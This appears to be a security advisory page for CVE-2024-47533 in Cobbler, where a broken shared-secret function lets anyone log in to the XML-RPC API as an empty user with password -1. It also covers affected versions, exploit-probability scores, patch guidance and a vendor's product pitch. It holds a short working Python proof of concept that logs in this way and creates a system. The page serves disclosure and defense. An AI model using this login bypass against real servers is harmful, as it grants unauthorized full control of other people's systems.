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GHSA-m26c-fcgh-cp6h

CRITICAL

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Also known asCVE-2024-47533
Published
Nov 18, 2024
Updated
Nov 18, 2024
Affected
2 pkgs
Patched
2 / 2
Exploits
2 known

EPSS Exploitation Probability

via FIRST.org ↗
3.9%probability of exploitation in next 30 days
Lower Risk89th percentile-66.94%
0.00%30.3%60.6%91.0%53.7%3.9%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐍cobbler🐍cobbler

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcobbler3.3.0&&< 3.3.73.3.7
🐍PyPIcobbler3.0.0&&< 3.2.33.2.3
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cobbler. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update cobbler to 3.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m26c-fcgh-cp6h is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m26c-fcgh-cp6h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m26c-fcgh-cp6h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobb
O3 Security · Impact-Aware SCA

Is GHSA-m26c-fcgh-cp6h in your dependencies?

O3 detects GHSA-m26c-fcgh-cp6h across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.